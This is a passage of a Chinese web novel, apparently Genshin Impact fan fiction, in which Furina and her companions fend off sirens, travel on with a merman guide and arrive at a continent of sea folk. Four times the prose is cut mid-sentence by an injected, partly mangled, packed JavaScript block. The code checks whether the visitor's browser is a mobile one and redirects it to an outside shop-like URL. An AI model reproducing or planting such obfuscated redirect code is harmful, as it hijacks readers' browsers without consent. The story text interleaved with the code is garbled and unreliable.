尖锐空灵的呐喊声响起,听见这声音,蓝海心和安菲谢莉全都不自主地捂住了耳朵,那声音太刺耳了,即使只是略带一丝丝警示的声音,也让她们两人痛苦。 而芙宁娜与只是皱了皱眉头,她并没有受到影响,只是感觉这歌声也——太难听了。 鎏此刻也一展歌喉,给被难听到的芙宁娜洗了洗耳朵。 “你们……哪里来的?” “我们只是想从此借道,不会做什么,不用这般警惕。” 金发的海妖看见了鎏,想要游过来,又被船上逆光的芙宁娜吸引,她有些看呆了,下意识想要越过鎏游到船下面去。 银发人鱼有些凶狠地给了她一尾巴,看得船上的蓝海心一脸牙酸,大美女诶,直接照脸给了一个大比兜,太——残暴了。 远处的海妖见状,全都呲牙咧嘴起来,美丽的脸庞齐齐张开嘴,看似樱桃小嘴,结果一张,她们的下半张脸像是被撕裂了一样,下颚一张,里头全是利齿。 芙宁娜一个战术性后仰,还真是海妖啊。 鎏有些无奈,他也不想芙宁娜看见他凶残的一幕,但此刻他也不得不亮出了利爪。 “等等,等等等等。” 被打的海妖从海面浮起来,她张开嘴唱起来,当然,她没有暴露自己的利齿,而是轻柔地唱着,虽然声音依然刺耳难听,但好歹不会让人耳膜阵痛。 远处嘶吼的海妖一听,也齐齐闭上了嘴。 此刻,这只金发海妖直接撞开了鎏,挤到船下来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872130|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “美丽的人类啊,可以当我的收藏品吗?” 什么暴言,芙宁娜眼睛一瞪,脚步往后一退,手杖已经出现在了手中。 “真是大胆!” 下一秒,纯水精灵从海面显化,无尽的海水给予它们不息的动力,蓄势待发地看着海妖们。 安菲谢莉也抄起黎明神剑,火焰从剑上蔓延,蓝海心的水球凝聚在手上,已经想往这个大胆的海妖身上扔了。 前段时间蓝海心终归是发现自己不适合拿剑了,她也终于认命,远程法师才是她的归宿。 毕竟师父那优雅的攻击技巧,她是真的学不会。 此刻三人一鱼蓄势待发,海妖也不是看不清形式,她打不过鎏,何况,她的内心深处并不愿意与芙宁娜为敌,只能遗憾退场。 看着那一尾金灿灿的鱼尾沉入海下,鎏才沉着脸回到船上,那些海妖没有走远,只是潜入了海底老巢。 “我们得走快些,太阳一落下,所有的海妖全都会出动。” “她们还怕太阳?” “不,鱼都是害怕暴晒的,她们只觉得刺眼的太阳会伤害自己的肌肤,让其变得丑陋。” 鎏嘲嘲笑这些海妖一声,刚刚只是一只海妖近距离地看见芙宁娜,她们还算理智,如果是一群,以她们想要的必须拿到手的态度,那就是一群海妖围追堵截了。 但是,保险起见,还是越早离开越好,海妖之所以定居在遗失海域外围,不仅仅是她们自己的问题,还因为她们被海里大多种族敌视,所以她们很少会离开自己的领地。 “她们是群居物种,一个海妖出动,定然有一群跟随,晚了就麻烦了。” 芙宁娜一想到刚才看见的几个下颚撕裂的海妖,她打了个哆嗦,看见几个已经够辣眼睛了,如果是一群,那就是晚上都要做噩梦的程度。 “那等什么!快走!” 她手一指,纯水精灵并没有随着海妖的退走而消散,反而一齐围在船边,听见芙宁娜的话,便都在使力,加速船只的航行,水鸟飞上高空勘察着周边的一切。 芙宁娜突然感觉有点奇怪了,她自从来到这里,被海兽欢迎很正常,怎么现在却突然感觉自己成香饽饽了? 人鱼喜欢,海妖也喜欢。 “系统,你出来,这到底是为什么啊?” 小光球此刻围着芙宁娜转了两圈,它也不藏着掖着。 “因为神之心啊。” 海国子民曾经都被上一代海神的光辉笼罩,权力巅峰代表的海域支配权形成了这一颗崭新的神之心,世界意识把其当做酬劳提前预付了给芙宁娜。 海神子民当然会喜欢海神啦,不过祂已经死掉很久了,直到这方破碎的世界撞上蓝星。 系统内心还吐槽呢,蓝星的世界意识穷,只能废物利用到极致了,这个世界的海神之心被祂送出去,给芙宁娜的另一半酬劳还是用死掉的海神躯壳来制作。 不过也没关系,只要条件达成,世界晋级,芙宁娜得到酬劳,它会从中抽取能量,三赢。 而芙宁娜听见这个答案,只能一噎,所以从她接受神之心的时候就已经是个坑了,她还一脸傻乐,以为自己赚了。 芙宁娜摸摸帽檐,有点小委屈,难道……旅行者说她傻,是真的吗? 12.第 12 章 对自己的莫名怀疑,芙宁娜只能憋在心里,她觉得,还是尽快离开这片海妖的海域再想别的吧。 毕竟,她心里不详的预感越来越强烈,万一那群海妖追过来,估计又是一番纠缠。 午时刚刚过去,天上的太阳刚刚露头,照在人身上也并不显得晒,反而是和煦的,芙宁娜站在鎏的身旁,蓝海心和安菲谢莉供给船只航行的元素力,加上纯水精灵的推进力,让这艘船一瞬间像是装载了火箭一样迅速。 不过,她们溜得快,海妖也反应得快。 芙宁娜的预感非常正确,她们离去不久,那只金发海妖领着一大群海妖齐齐浮上了水面,她们在不开口的时候美得令人头晕目眩,当然,也可能是被一片金光闪闪的发丝晃的。 “那只该死的人鱼,他一定挟持了珍宝跑了,我们必须把她追回来!” 她们已经休养生息很久了,少有的升起争夺之心,那人鱼狡诈,往常双方井水不犯河水,如今…… 她们齐齐咧开嘴笑起来,利齿若隐若现,一开口,尖啸声响起,一群海妖一齐跃出,又潜浮入海面下,朝着船只离去的地方追去。 那令海妖喜爱的气息,是如此的迷人耀眼,即使她远去了一段距离,海妖们仍然觉得那气息像是明灯一样,为她们指引着方向。 芙宁娜要是知道了,肯定还得骂神之心这个坑人的产品。 海妖的尾巴有力而强壮,而船上的蓝海心与安菲谢莉她们的元素力可不是那么地充足,虽然两人交替轮换,但是也不够她们保持一直全速前进的状态。 如果让芙宁娜来操控,蓝海心觉得自己开不了这个口,也不能开口。 她不能让师父,一位神明,时时刻刻伸出援手,她应该靠自己才是,即使是因为芙宁娜吸引了海妖的注意。 蓝海心甚至于在心里感叹,她们就像是护送唐僧经历九九八十一难去往西天拜佛求经一样,只不过她这个徒弟比不上大师兄。 前方,芙宁娜指挥着纯水精灵帮忙,而鎏也会呼唤着海水,让船只在水中行驶没有任何阻力。 一只人鱼,会拥有呼唤海潮的能力吗? 芙宁娜抬头看向鎏,他似乎并不是一个简简单单的海生物,隐隐约约与她如出一辙的,掌控海域的能力。 她撤下了纯水精灵,语气很平静,“不用再加速了,海妖迟早会追上。” 除非她出手,但是芙宁娜此刻竟然想要停下来,她想看看鎏会做到哪个地步,这只人鱼向导,小心思可多着呢。 鎏并没有因为芙宁娜的冷淡而感到气馁,他只是无奈地笑了笑,“您还想见到那群海妖吗?” “这些麻烦迟早要解决,总不能让她们一直追吧?” 她们似乎对气息很敏感,因为从那群海妖开始尖啸后,声音越来越近了,有时被她们甩下,只要她们稍显疲惫,速度减小,海妖们又会追上来。 芙宁娜叹口气,“逃跑确实不是什么解决问题的办法,不如让海心她俩活动活动。” “如您所愿。” 鎏的鱼尾化作了双腿,长长的发丝遮盖了他的周身,此刻他单漆跪地,异常温顺地看着芙宁娜。 大海之中,银尾人鱼一直是凶残的生物,除非遇见了令他们愿意低头的——神明。 “海心,安菲,准备好应战吧,当然,我觉得你们事先应该把耳朵堵住。” 芙宁娜知会了船舱里的两人一声,先看看这段时间她俩的配合怎么样吧。 蓝海心习惯性拿出手里的法器,当然,也是来自于芙宁娜的赠予,似乎是叫做西风秘典?能帮助她更好地恢复能量,而安菲谢莉抽出剑,一脸的蓬勃战意。 身后,海妖的追赶如期而至,她们一声声的嘶吼叫得芙宁娜心烦意乱,她捂住耳朵,恨不得自己能够暂时性地听不见,鎏也是一脸牙酸的表情。 至于蓝海心和安菲?她两堵住了耳朵,可是尖啸一波又一波,她们听得是头晕脑胀,只能强忍着呕吐欲,握紧武器,目视着前方。 芙宁娜轻抚礼帽,手中的礼仗一点,代表治愈的纯水精灵显现在海面上,蓝海心自然熟悉它,她和安菲毫不畏惧,直接跳下海面,稳稳当当的站在了水面上,看着那一波潜游而来的海妖。 “当心她们的爪子和尾巴。” 安菲谢莉点点头,蓄势待发,“放心吧。” 芙宁娜站在后方,时时刻刻替她们治疗,而鎏也跳下海面,掀起巨浪打乱海妖们的阵型。 安菲的火焰在海域之中天然地就能打出蒸发来,蓝海心总能在后方支援到位,让海妖无法近身,又有芙宁娜的支援,这么打下去,只要她们二人没有力竭,恐怕能一直战斗下去吧。 看着海面上的打斗,以及一波又一波的声浪,吼得人头疼,蓝海心是越打越晕,好几次水弹都放错方向了。 不过,这还不是她们集火的情况,那些海妖不知道是不是和鎏不对付,连安菲谢莉的火焰都可以无视,一定要上去挠鎏几爪子,制造些噪音来干扰干扰他。 芙宁娜走到船只的最前方,看着下面受伤后就沉入海底,但却依然潜伏在侧伺机而动的海妖们,按了按眉心,很是无奈,蓝海心与安菲已经撑不住了。 “停手吧,海妖,你们为何追来?” 若只是因为喜爱,芙宁娜很不理解,只是远远一眼,她们甚至比枫丹的狂热粉丝还要热切,或许她们的种族天性使然,让她们对于自己看中的东西穷追不舍,但是这样已经给自己的航行造成了很大的困扰。 如果她们再不撤退,芙宁娜握紧了手杖,她可不单单只会治疗,她可爱又强大的纯水眷属们会为她摆平一切! 虽然极端,但是海妖们明显是可以交流的,先前领头那位金发海妖再度长啸一声,浮上了海面,她的族人此刻皆停下了高歌,聚拢在她身旁。 “美丽的人啊,我不能让这条满口谎言的人鱼欺骗你,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885402|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一尾流放者,而我们海妖族群愿意代替他追随你,只要您的光辉照耀在世间一日,我们都为你着迷。” 一群海妖此刻全都换上一副温柔的面庞,对着芙宁娜笑起来,似乎在展现她们迷惑人心的魅力,但在这阳光下,芙宁娜眨了眨眼睛,只觉得光芒过于刺眼,闪得她泛起泪花。 一群海妖的追随?芙宁娜想了想那个场面,更可怕了好吧。 “我无需你们的追随。”芙宁娜拒绝道,亳不留情面,“众水的女王庇护海域,如同大日悬挂于天际,尔等,只需仰慕于其辉光,无需靠近,也莫要妄想!” 此刻,那位说要芙宁娜当藏品的金发海妖已经后悔异常了,她当时一时嘴快,现在却觉得是她败坏了族群的名声,让芙宁娜不太待见她们。 但是,孤身站在船上的芙宁娜逆着光,却更让人觉得神圣。 这让见过了她的海妖们更加依依不舍,都追到这里了,无功而返也不甘心,况且她们眼中的珍宝还是带刺的珍宝,更喜欢了,怎么办? 芙宁娜却只觉得这是海神之心带来的副作用,但是人鱼寿命悠长,海妖却不是,她们此前从未感受过这样的感觉,只是刚开始觉得喜欢,追到这里却更觉温暖,仿若落入海中的月亮,照彻了她们心里幽暗的海底。 但芙宁娜此刻冷酷无情,强硬地拒绝海妖,纯水眷属们也从水面生出,赋予它们生命的人是芙宁娜,它们自然会为她的意志而战斗。 水形幻人更是其中翘楚,它巨大威猛的身躯将芙宁娜挡在身后,又把身前的蓝海心和安菲谢莉捞回来,朝着海妖怒吼一声,意思明确,不离开,就开战。 “好吧,好吧,我们离开。” 她们沉入海里,远远看着芙宁娜,好似被负心汉抛弃了一样,直到整个族群散去。 这时候,大家的目光才移向鎏。 “现在,该说说你的问题了,流放者?” 芙宁娜冷哼一声,静水涌流之辉化为光电消散在手中,她双手抱胸,指挥着水形幻人将她托起,居高临下地看着鎏。 这只银尾人鱼讪笑一下,眼神颇为无辜,“这已经过去很多年了,若是您有兴趣,我可以当做故事给您讲讲,只要您高兴。” “哼,路上再说吧。” “那是不追究了?” 芙宁娜没理他,而是站上了水形幻人的肩头,巨大的纯水生灵在海面流动,与船只同行,而鎏在海面游着,追随在水形幻人身后。 虽然不知道人鱼的身份到底是什么,但是芙宁娜并没有因为未知而驱逐他,一来,她们需要一位熟悉这片海域的向导,二来,以他对海国的熟稔度,恐怕也与其有着千丝万缕的关系。 鎏自然也是知道这一点,所以他才有恃无恐,不过,他自觉也不是什么大反派,亦无害人之心,只是想要重返故国罢了,至于流放者这个身份,不过是海妖换代口口相传的罢了,现在,估计都被遗忘得差不多了。 13.第 13 章 她们逃也似的离开了海妖的地盘,而此时,蓝海心才见识到,遗失海域的物种多样性。 “那是什么?” 芙宁娜指着一只长得狰狞可怖的海兽,黑色的皮肤,满嘴利齿,两只大眼睛凸出来,可它嘴里竟然发出“嘤嘤嘤”的声音。 她稍稍皱起眉头,有点消受不了它们的热情,而单凭鎏,也无法驱赶它们。 “是猎食者,深海物种,也不知怎么地浮上来了。” 说着,鎏朝它们嘶吼一声,惊起一片,那些海兽们长得丑,发出的声音却像是在卖萌,可怜兮兮地追逐着船只,还会驱散周边游过来的鱼群。 “师父,再这么下去,我们今天都捞不到鱼吃了。” 蓝海心回望着它们,师父那该死的魅力,让所有鱼都着了魔,不过这东西跟了她们好几天了,也不干什么,像是随行的护卫一样,看久了她竟然还觉得它们长的丑萌丑萌的。 毕竟都是深海鱼,大家长得随心所欲了一点,也不是不可以原谅嘛。 芙宁娜面无表情,她真是烦透了走到哪里都被鱼群包围的模样,在先前的普通海域,跟着她们的只是一些无智慧的海兽们,顶多是粘人了些,现在这些,长得千奇百怪,攻击性还很强,她实在不知道该如何应对。 每到此刻,她就无比想念那维莱特,如果有这位威严肃穆的水龙王在,一定很清闲。 “按照我们这个速度,抵达鱼人大陆要多久?”芙宁娜询问鎏。 今天是安菲谢莉在掌舵,蓝海心歇在外头,此刻也不由得抱着期待的目光看向鎏。 根据鎏的科普,鱼人大陆上面生活着很多海陆两栖物种,他们共同凝结成了一股大海中的陆地势力,围着中心海国环绕了一圈,属于内测海域。 外侧海域,大多都是被驱逐或者是在内测海生活不下去的种族,比如海妖,还有黑蛇海域、不得不搬迁的电鳗族群…… 谈起这些,鎏不由得回忆起曾经来,昔日海神的辉光下,银尾人鱼作为天生的大祭司,他们居住在中心海,为所有到此受礼的海民送上祝福,如今,他是在大难来临前出逃的叛徒,背负着懦弱者之名被流放的罪人。 “很快,不过,如果我们把这群猎食者带过去,我想我们可受不到欢迎。” 他想了想,又转头泼了那群猎食者一个迎头大浪,不过,它们的肌肤像是钢铁一样坚硬,这样的浪花对它们可不起作用。 芙宁娜不得不站出来,试图和它们讲道理,“你们难道不会去捕食吗?不要这样一直跟着我们。” “嘤嘤嘤……” (喜欢你。) 领头的那只最大的猎食者鼓起来的大眼睛很委屈,它一头钻入海底下,不一会儿就咬着一只巨大的银鱼升了起来,它试图投喂芙宁娜,很骄傲地想把鱼抛上船。 “我感受到你的喜爱了 ,但是我们的前路无法再同行。” 芙宁娜摇头拒绝,让猎食者青蛙眼里泛起泪花,它啼哭了几声,那些猎食者们全都沉入了海底,只有那个叼着银鱼的领头者,它凑到船边,鎏也没有阻拦它。 “去吧那条银鱼钓上来吧。” 芙宁娜明白它的意思了,看着她收了礼物,猎食者首领也沉了下去。 “唉——”芙宁娜沉吟片刻,“有时候感觉自己像个负心汉似的。” 这是代入蓝海心的说法,不过芙宁娜可是名副其实的大明星,不管是在枫丹,还是来到了这个世界里,她受到的喜爱多着呢,有时候当然会为他人狂热的喜爱感到一丝苦恼。 “这都是它们自愿的,不是吗?您太心软了。” 鎏道,那些猎食者一走,他又回了船上,有离的鱼尾从海里跃起,落到船上的时候又变成了双腿,白色的袍子照在他的身上,看不出银尾人鱼的危险性。 海风吹过来,蓝海心也松了口气,凑到了芙宁娜身旁。 “师父,您真的不是这个世界的海神吗?” 她不太相信,回想起来,自从遇见芙宁娜,到现在已经好几个月了,她们都是在海上渡过,初见时,她以为芙宁娜是土著,没想到芙宁娜以为她是土著。 合着到现在,两个人都不是这个世界的土著呗,只有这条鱼。 “哼哼,虽然我有水□□号,但是我可不是这个世界的海神。” 芙宁满脸拒绝,也许是因为那颗神之心吧,她也是受够了被整座大海的鱼当做替身白月的感觉了,对她的喜爱来自于对上一代神明的崇拜,这并不好。 她是这样以为的,助教系统却在反驳,不对,芙宁娜压根没想对。 世界意识的相性召唤,怎么会错呢,芙宁娜本来就被水域所爱,这是来自芙卡洛斯的祝福才对。 “那师父,您来自哪里呀?” 蓝海心撑着脸,有些好奇的看向她,毕竟,她穿到现在这身礼服,看起来也是来自于一个独特的文明。 事实上,直播间里的人还讨论过,有些人觉得好似来自于蓝星的F国,但是这也并不明确,还有好些人在和他们争论,芙宁娜到底属于那个国家呢。 蓝海心却觉得没什么好讨论的,她们能遇见就只是一个奇迹,她不知道芙宁娜为什么来到这里,还要收她为徒,给予她神之眼,不过她是最特殊的一个,那就够了。 现在好奇心驱使,让她想要了解芙宁娜再多一点。 芙宁娜并不吝啬于这些消息,并没有什么说不出口的,不是吗? “我来自一个叫做枫丹的国家,一个水的国度。” 这是与她一起度过五百年孤独的国度,也是以她为中心唱成剧目的背景板,而她,是被芙卡洛斯分离的人性一面,但也依然继承了神明对子民的爱。 若要说起枫丹,说起她来,她只轻声唱起歌来。 芙宁娜啊,她最喜欢站在舞台上的感觉了,不管是从前,还是现在。 裙摆摇曳,手持静水涌流之辉,站在船只最前方的芙宁娜将这片海域、这方天地化作她的舞台,即使无人配合,她的独角戏剧与歌声也让人沉醉。 安菲谢莉不知何时也走了出来,与蓝海心看着高歌的芙宁娜。 她的唱词很神奇,明明知道她说的语言与自己不同,但是所有人都能听明白这歌词,一个名为枫丹的国度,水的女儿生活在此处,遭逢大难的国家与坚强不屈的子民…… “所以,师父是意外来到这里的吧?她也想家了……” 船上的两人一鱼都为这歌声出神,离别蓝星来到这里的蓝海心和安菲谢莉,回不到故国、看不见旧人的鎏。 “我一定要抵达终点,让这该死的国运游戏终止!我想回家了!” 蓝海心抹着眼泪花,当着直播间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914057|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭成傻子,几亿人这目光几乎都聚焦在这里,她的父母当然也在其中,只是发出的言论淹没在千言万语之中,泯然于众。 而鎏只是呆呆地看着,他曾经作为海神宫殿里的大祭司继任者,他怎么不熟悉海神的气息呢?芙宁娜只是相似,他觉得,跟着她,或许自己真的能够回到海神殿中。 可现在,不一样了,他想追随芙宁娜,比起几千年前神圣却孤高的海神,这样充满人性的芙宁娜,更让他心动。 这般嘹亮的歌声,当然不仅仅只有三个听众。 海下面,有鱼人,也有一些其他种族类人生物,他们都是被歌声吸引而来,此刻聚集在船下,直到芙宁娜取下礼帽,轻轻扣在胸前,他们才反应过来。 一片寂静声中,不知道是谁夸奖了一句,随后,大家都在浮在海面鼓起掌来,没有手的物种们则用大尾巴拍打着海面,看起来,像是巨星刚刚结束了她的演唱会,现场一片热闹。 “是人啊!天呐,我是第一次见到人诶!” “我听说人都长得很丑,她怎么这么漂亮?阿祖果然是骗我的。” “她的歌声好好听,比人鱼的歌声还好听,她是来鱼人大陆巡演的吗?我决定了,以后她的每一场演唱会,我都要到场!” “她来自哪里啊?我好喜欢她。” ………… 鱼人大陆是海中种族集会交流的地方,这里每天来来往往的海民们数不胜数,先前是因为猎食者的随行,没有海民敢靠近它们,如今它们离开,这里自然就热闹了起来。 蓝海心在船上往下一看,嘴巴张的大大的,看来先前她的想象还是保守了,这些海民实在是千奇百怪,也许是因为物种杂交?他们都没有生殖隔离的吗? 有些海民长着鱼头人腿,有些跟人一模一样,但是他们有腮,胸膛上面全是鳞片。 她们也算是长见识了,这也太——神奇了。 芙宁娜也站在船上看他们,她一点也不羞涩,大大方方道:“你们好啊,我叫芙宁娜,谢谢你们的夸赞,不过现在我们也要赶路了。” 她们再停在这里,海上可要“堵车”了,大家都聚集在这个地方,芙宁娜还有些不好意思,她朝他们招招手,还是到鱼人大陆再说吧。 前方远远的海平线上,这里可没有港口之说,也没有什么停泊之地,大家都是海民,随心所欲地在海里畅游,想怎么上岸就怎么上岸,还有些河道联通大海,大家都可以从这里游进去。 蓝海心她们只能找一个偏僻的地方,把船停在这里头,然后便上了岸。 这次的国运游戏奖励可不算少,事实上,夏国和乌苏国已经是蓝星最让人羡慕的国家了,所谓的特殊血脉觉醒,让上古时代传说物种开始现世,鲛人、蚌女、海妖层出不穷,陆地生物也有,但最特殊的还是夏国的龙族,那可是只次一例,国宝级别啊。 通过抄作业,其他国家自然知道如何前往遗失海域,但是这其中的危险却不言而喻,他们没有芙宁娜的帮助,也没有神之眼的支撑,只能寄希望与后续升级的船只,同时,一些国家开始等候协作,虽然慢人一步,但也不算太晚。 只不过,刚刚进入遗失海域,他们可没有鎏这样的向导带路,有些被外侧海域的海民追得痛不欲生,有些遇见了和善的海民,倒也还算轻松,没有实力,只有全靠运气了。 14.第 14 章 鱼人大陆是海民集会之地,千万年的演化,这里俨然已经演变成了一个大型国度,海神逝去,海国封锁,鱼人大陆上建立起了另一个独属于海民的平凡国度。 而芙宁娜几人的到来,打破了此地久违的平静。 “那是人?” “好像是,没见过,你看她们都没有鳞片。” 这些鱼人们都不算是窃窃私语,他们的声音让芙宁娜听了个一清二楚。 蓝海心实在是有些不自在,她不像安菲谢莉,她脸皮薄,而安菲谢莉呢,谁和她对视,她就回瞪过去,最终还是鱼人们先移开目光。 至于鎏,他挡在芙宁娜身前,恰恰好是一个最好的保护位置,寸步不离的样子,像是恶龙守护宝藏,也像是骑士拱卫女王。 而即使海民们审美与人有着非同一般的差异,他们也都有一个相同的眼光——那就是芙宁娜与人是不一样的,她独特的亲和感让每一个海民都认为她耀眼夺目。 大路朝天地走着,来来往往的海民们都是一览而过,芙宁娜见识得多了,倒也没那么稀奇这些海民,不像是蓝海心她俩,这可是进了‘外国鱼’们的老窝了。 鎏一如既往地健谈,只要对上芙宁娜,他就有说不完的话语,而此时已经无限接近海国的他也开始叙述起去往海国的不易来。 “我之前说要去海国,不单单是靠船只就能行,而是由于鱼人大陆的阻拦,这个地方你也看见了,绕道是不可能的,其后的风暴海,那里是勇士的埋骨地,没有实力的海民几乎都葬身在此。” 鎏一边拨开前方拥堵的拦路者,一边告诉芙宁娜这个世人都知道的事情,海国封锁以后,无数海民前仆后继,但是无一例外,他们都死在了路上,他自己也尝试过,但是似乎是大祭司的庇佑,让他侥幸从暗流之下逃脱。 “可是没有船,难道靠游过去吗?” 芙宁娜有些无奈,大风大浪的,鱼都游不过去,更遑论蓝海心她们了,就算她们会水,难道比得上海生海长的海民们? 蓝海心也凑过来听,人在海里游过去?她一想到几人全在海里游,也不由得产生几分怀疑,可能吗? 不过,鱼人大陆横亘在她们前进的路上,除了海民们能游进去,那些稍显宽大的海兽、船只,明显都只有被拦在外围,船只是真的过不去的样子,这可如何是好? “确实只能靠游过去。” 鎏摊摊手,要知道,在海国还在的时候,海民们将游过风暴海当作是成年的一项考验,只有最有勇气、毅力与实力的海民,能进入海国,得到神明的赐礼,船只一旦进入那片海域,就会被风暴撕碎。 而他也曾是其中‘鱼跃龙门’的一员。 不过很可惜,海国封锁以后,风暴还比之前更甚,凛冽的风暴与海峡的暗流,使得再没有海民能够横渡,那是海国在拒绝他们。 芙宁娜回头看了看蓝海心与安菲谢莉,她其实并不担心自己,但是她担心这两人,两个对她如此真心的孩子,况且她们还是人类。 但要说起来,芙宁娜自己不也是人类吗,远在枫丹的另一头,尚且还有友人担忧着她呢。 但是再细细的一想,芙宁娜发现了问题。 “不对,你竟然把这个问题说出来了,那你肯定是有解决的办法,是不是?” 芙芙这一次似乎聪明不少,她又狐疑地看向鎏,即使她用神之心的权柄平息风暴海的怒浪漩涡,可是该有的考验一直都会在,那么要两个人类横渡,就一定会有别的办法。 “你们听说过海巫吗?” 蓝海心想点头,但是她又左右回望一下,大家都没开口,她还是忍住了,如果用蓝星从前的童话故事来与其对应,万一说错了呢? “怎么,难道他们有什么神奇的地方?能把人类变成鱼?” 芙宁娜随口一说,她先前居于枫丹,海巫什么的,也许童话故事里的反派恰巧叫这名二吧? “你说对了,”鎏笑起来,他带着芙宁娜三人朝歇脚的地方走,“以前,是有过人类这一个种族的,不过海国封锁以后,他们大多都消失了,剩下的也只是一些人鱼的混血。” “嗯哼?” 芙宁娜点点头,像是听故事一样,她眨着大眼睛朝着鎏一仰头,示意她继续说。 “那个时候啊,如果人和鱼想要在一起,海巫就会充当一个中间商,让人变成鱼,或者是让鱼变成人。” 这样说起来还挺神奇的,芙宁娜摸摸下巴,“我也可以变成人鱼试试吗?” “如果你想试试的话。” 鎏丝毫不介意,他身为大祭司继任者,其实也知道这些药剂该如何制作,其中最重要的,就是需要所变化生物的血液。 “用了还能变回来吗?” “当然可以了。” 鎏甚至还有些期待,芙宁娜化身人鱼是什么样的呢?一定更绚丽吧? 蓝海心也偷偷摸摸往师父身上瞟,那估计是蓝色的鱼尾,鳞片闪闪发亮,甚至于歌声更加迷人…… 她直接把脑袋拱到鎏和芙宁娜中间,“那海巫在哪里呀?是药水还是什么东西啊?” 她眼里闪着期待的光芒,眨巴眨巴大眼睛,很明显,她期待得不得了。 鎏没有答话,而是率先停在了一个巨大的贝壳搭建的建筑前,这屋子在阳光下五光十色的,上面刻着蓝海心她们不认识的文字。 “这是哪?” “旅店啊,谢天谢地,这么久没来了,我没有找错路。” 芙宁娜仰着头看招牌,有助教系统,相当于随身带了一个翻译,她倒也能看懂,如今,他们也确确实实需要一个落脚的地方,但是,有个问题…… “我们有钱嘛?” 谁知道海民之间流通的货币是什么啊? 而这话一说出口,鎏也愣了愣,他缓缓把自己身前的一缕银发捋到身后去,半响,慢悠悠地说:“哈哈,糟糕,忘记了。” 头顶似乎有一行乌鸦飞过。 “唔姆——你们站在门口做什么?” 三人一鱼的窘境没有持续多久,身后传来了一道细声细气的声音,芙宁娜一转头,这是头一次,看见比她还矮的小个子。 发灰的头发上别这几支羽毛,一个女孩子,大概只有芙宁娜三分之二高,她的脚是鸟爪的形状,看出来了,是只海鸟。 似乎是因为芙宁娜盯着她看了很久,她脸色一下子通红起来,用小手捂了捂脸,害羞得可爱。 “我是这家店的老板,白羽,你们好,是要住、住宿吗?” 她退后了两步,终于不用接近于90度的仰着头看人了,刚才大家都惊奇的人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928478|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在站在这里,白羽打量几下,心里暗想,也没什么不一样的嘛,只不过他们没有羽毛,也没有鳞片,甚至于其中一人带给她的亲切感如此强烈的。 “啊,你好,我叫芙宁娜,确实是想住宿,但是我们可能暂时……没有货币。” 这还是第一次芙宁娜有些害臊,身为水神居然没有钱…… 不不不,不应该这么想,她又不是海对岸璃月的岩神那样,掌管着财富之名,一时没有钱怎么了? 白羽看着她们,脑袋歪了歪,眼里带了一些思索,她知道芙宁娜,刚刚的鸟儿们回来说,她唱歌很好听,比人鱼歌姬唱得还要好听。 上半年人鱼唱一次歌,来来往往的客流量能抵她一年的赚头…… “我可以不要贝螺,你们是来巡演的吗?那可以在这里开演唱会吗?如果可以,我能让你们免费住在这里。” 小小的白羽心里大大的思量,如果她们在这里开演唱会,那就有好多客人,那她仓库里的鱼干就全都能卖出去了,还能接待好多客人。 芙宁娜张张嘴巴,指指自己,啊? 而她身旁的蓝海心打量一圈四周,挠挠脑袋,这里空旷又冷清,确实没什么鱼,她们又没钱,这几天还能在陆地上流浪?如果每天晚上都返回船上,其中也会耽误不小的时间,终归还是没有住在这里来得方便。 难道真的是生活不易,要靠师父卖艺了? “你为什么会觉得,我会办演唱会呢?”芙宁娜有些不解。 “因为路过的飞鸟啊,他们说今天早上听见你的歌,太令鸟落泪了,还有鱼人问了你们的消息呢,不过这片海上好久没有陌生人来了,你们从海妖的地界来的吗?” 白羽问着,从众人中间走过去,把旅馆的大门打开,这个用各式各样亮闪闪的贝壳装饰起来的物资里面也相当漂亮,木制的桌子凳子,上面还装饰这小花。 一道楼梯通向下方的水域,底下应该是让海生物居住的地方,鱼人大陆海陆两栖生物居多,自然也有楼上的屋子。 芙宁娜转头, “我们要在这里待几天?” “寻找海巫肯定是要耽搁三四天的。” 